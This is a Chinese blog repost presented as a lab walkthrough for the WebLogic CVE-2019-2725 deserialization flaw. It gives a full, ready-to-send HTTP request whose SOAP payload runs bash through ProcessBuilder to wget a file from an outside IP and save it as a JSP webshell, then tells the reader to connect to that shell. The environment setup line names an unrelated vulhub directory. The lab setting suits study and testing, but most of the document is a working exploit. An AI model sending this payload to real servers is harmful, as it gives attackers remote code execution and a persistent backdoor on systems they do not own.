自学内容网 自学内容网

weblogic CVE-2019-2725 靶场攻略

漏洞描述

wls9-async等组件为WebLogic Server提供异步通讯服务,默认应⽤于WebLogic部分版本。由于该
WAR包在反序列化处理输⼊信息时存在缺陷,攻击者通过发送精⼼构造的恶意 HTTP 请求,即可获得⽬标服务器的权限,在未授权的情况下远程执⾏命令。

影响版本

weblogic 10.x weblogic 12.1.3

环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d

漏洞复现

1.漏洞验证

http://172.16.1.78:7001/_async/AsyncResponseService
如果出现⼀下⻚⾯,则说明存在漏洞

2.在当前⻚⾯抓包 , 修改请求包 , 写⼊shell

POST /_async/AsyncResponseService HTTP/1.1
Host: 172.16.1.78:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 839
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://47.113.231.0/1.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/6.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

3.访问下载到weblogic服务器上的⽊⻢,进⾏链接

http://172.16.1.78:7001/bea_wls_internal/6.jsp


原文地址:https://blog.csdn.net/shw_yzh/article/details/142392292

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!